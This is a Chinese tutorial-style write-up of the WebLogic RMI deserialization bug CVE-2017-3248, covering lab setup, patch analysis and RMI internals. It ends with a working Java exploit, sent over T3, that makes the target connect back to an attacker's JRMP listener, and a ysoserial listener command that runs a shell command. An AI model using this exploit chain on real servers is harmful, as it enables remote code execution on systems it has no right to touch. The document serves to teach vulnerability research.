漏洞挖掘：一次反序列化漏洞学习

0x01 漏洞背景

该漏洞使用了在当时为新型技术的rmi反序列化漏洞绕过了之前的修补补丁 。适用版本包括了10.3.6.0、12.1.3.0、12.2.1.0以及12.2.1.1等多个版本。将从环境搭建、漏洞补丁分析、绕过方法思考、payload构建等多个方面进行研究，尽可能的将一些坑点和知识点摸排清楚，从0到1学习weblogic反序列化。

0x02 环境搭建及补丁安装

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档（全套视频、大厂面经、精品手册、必备工具包、路线）一>点我<一

0x1 环境搭建

1. 现成环境

可以采用现成的docker环境，执行以下命令生成对应版本的docker docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

1. 自动搭建

利用Docker自动化搭建，在github下载搭建代码 [https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git) 本次实验环境采用jdk7u21和weblogic 10.3.6.0，在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令：

./WeblogicDockerBuild.sh
docker-compose up -d

0x2 补丁安装

本次使用的补丁是 p23094342_1036_Generic.zip

获取到补丁后用如下指令进行安装

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver

补丁信息如下

0x03 补丁分析及绕过

0x1 补丁分析

第一时间拿到补丁后，使用之前的CVE-2016-3510 payload打了下没有反应，并且从log中发现如下报错

从报错中清楚的了解到MarshalledObject是不可被反序列化的。反过头来看下补丁是如何修补的。头脑简单的笔者一开始认为这次又是添加了什么白名单，就在各种blacklist中疯狂寻找，无果，郁闷了半天。突然在使用idea分析时在补丁包中发现了一个MarshalledObject.class文件，如下所示

为了证明是这个相同包路径的接口影响了MarshalledObject反序列化，做了以下操作

mkdir test
cp BUG23094342_10360160719.jar test/
tar xvf BUG23094342_10360160719.jar
rm BUG23094342_10360160719.jar 
rm weblogic/corba/utils/MarshalledObject.class
tar -cvf BUG23094342_10360160719.jar ./

然后再使用CVE-2016-3510 payload试了下，发现可以成功

那么总结下这次补丁是编写相同包名和类名的接口覆盖之前的类，使其变得不可反序列化，妙啊！

0x2 前置知识-RMI反序列化

理论上讲找个类替代MarshalledObject的功能即可完成绕过，但这次并没有这么做，而是引出了一种比较有意思的反序列化漏洞，RMI反序列化漏洞（关于这个系列的漏洞，笔者打算单独开个板块进行分析）。这次主要介绍如何绕过该补丁。

RMI 为Java远程方法调用，是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。RMI反序列整个体系比较复杂，但一般掌握了其中几个知识点就可以应对很多场景了。在整理RMI知识的时候，总结了RMI通信过程中可利用的反序列化点

大致分为三类 客户端触发，服务端触发和**注册中心触发，**ysoserial中涉及的几个反序列化点都在对应的地方标注了。

客户端触发

1.当客户端向注册中心发送lookup数据包时注册中心会把stub对象返回给客户端并在客户端触发readObject 2.当客户端使用StreamRemoteCall与远程通信时，在executeCall函数中存在反序列化在客户端触发readObject(payloads/JRMPClient配合exploit/JRMPListener) 3.当客户端使用DGCImpl_Stub与DGC服务端交互式时会在dirty函数中反序列化远程传递过来的Lease对象序列化后的数据，在客户端触发readObject

服务端触发

1.当客户端向服务端发送调用远程方法的请求时会先使用DGCImpl_Stub和服务端通信，在处理dirty请求时会在对象申请和引用的时候在服务端触发readObject(exploit/JRMPClient，可配合payloads/JRMPListener)

注册中心触发

1.当客户端向注册中心发送lookup数据包时会把binding中stub对应的String类型名字以序列化的形式发送，注册中心收到数据包后，将会在注册端触发readObject，反序列化传过来的名字。 2.当服务端或客户端向注册中心（RegistryImpl）bind绑定stub的时候会在注册端触发readObject(exploit/RMIRegistryExploit) 3.当服务端或客户端向注册中心（RegistryImpl）unbind解绑stub的时候会在注册端触发readObject 4.当服务端或客户端向注册中心（RegistryImpl）rebind重新绑定stub的时候会在注册端触发readObject

0x3 RMI反序列化原理

CVE-2017-3248 可采用客户端或是服务端触发两种方式绕过上次漏洞补丁。重点分析payloads/JRMPClient配合exploit/JRMPListener完成此次攻击利用的深层次原理。

payloads/JRMPClient的反序列化背景是客户端获取到来自RegistryImpl_Skel的回应后，将会调用DGCClient的与远程DGCServer进行通信。调用栈如下

主要问题出现在StreamRemoteCall.class类的executeCall函数上

观察发现this.in为ConnectionInputStream类型并没有黑名单的限制，因此只要服务端可控，就可以像客户端发送任意反序列化数据。

碰巧的是在RemoteObjectInvocationHandler的反序列化代码里会调用这个StreamRemoteCall类里的executeCall方法

结合之前的调用栈dgc.dirty函数就已经可以触发到executeCall代码

0x04 利用方法

0x1 如何构造Payload

前面分析了漏洞原理，那么客户端需要构建怎样的代码才能触发到反序列化呢？这个还要从rmi机制说起，详细内容可以将会在之后的rmi专题进行讲解，这里只是把大概逻辑捋一捋，这一节会有很多类和变量，不理解没关系主要了解过程。

首先思考一个问题，RMI客户端如何调用远程服务器上的其他类？RMI机制是这么做的，涉及到对端调用的类将会生成类似Stub和Skel的对等结构，其中Stub在客户端保存（客户端可自己生成比如RegistryImpl_stub，也可通过网络通过网络从服务端获取Proxy(MyclassImpl)）。因为我们只分析客户端，这里引出一张客户端RMI调用流程图

• 黄线：客户端首先调用getRegistry函数生成注册中心Stub（RegistryImpl_stub）
• 黄线：接着通过lookup方法与远程服务通信，远程服务会在ObjectTable中匹配该stub包含的Target，进行路由分发
• 紫线：服务端接收到lookup请求后，会将已经生成好的**代理类Proxy(MyclassImpl)**返回给客户端
• 绿线：客户端收到代理类Stub，直接调用其中的方法就会与远程服务通信并在远程执行相关代码

我们重点关注下紫线部分的处理流程，服务端到底返回的是个什么东西，我们找到服务端启动代码

当代码执行到13行时，因为UserImpl继承了UnicastRemoteObject类并且在构造方法里调用了父类构造方法，所以将会执行UnicastRemoteObject类中的构造方法

构造方法会调用exportObject

下面重点来了，如何封装传递给Client端的Stub

方便理解倒着分析，在最后利用RemoteObjectInvocationHandler代理了我们需要执行的类，那么RemoteRef是如何而来的，从当前代码中只能看见时getClientRef获取到的

getClientRef代码如下，this.ref是什么时候赋值的？

在UnicastRemoteObject构造方法一开始时就赋值了，sref如何生成

sref其实是UnicastServerRef是UnicastRef的子类

在其构造方法中创建了LiveRef对象并赋值给了UnicastRef的ref变量

可能会有些绕，整体可以总结为如下代码

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

仿照服务端的createProxy函数，将RemoteObjectInvocationHandler封装进代理类。

(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);

利用代码如下所示

package main;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class cve_2017_3248 {
    public Object getObject(){
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
        return proxy;
    }
    public static void main(String[] args) throws Exception {
        Object obj = new cve_2017_3248().getObject();
        byte[] payload2 = Serializables.serialize(obj);
        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
    }
}

0x2 整合利用

整个过程使用JRMP Server端反打Client端 Step 1 使用JRMPListener监听端口

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/D4ck'

**Step 2 发送漏洞payload ** 反序列化数据中包含rmi 客户端链接代码

0x05 总结

CVE-2017-3248 使用了RMI反序列化漏洞，也揭开了笔者分析RMI漏洞原理的新篇章。后面将不断分析Weblogic相关反序列化漏洞，以及系统总结整理RMI反序列化漏洞的基础知识和简单利用。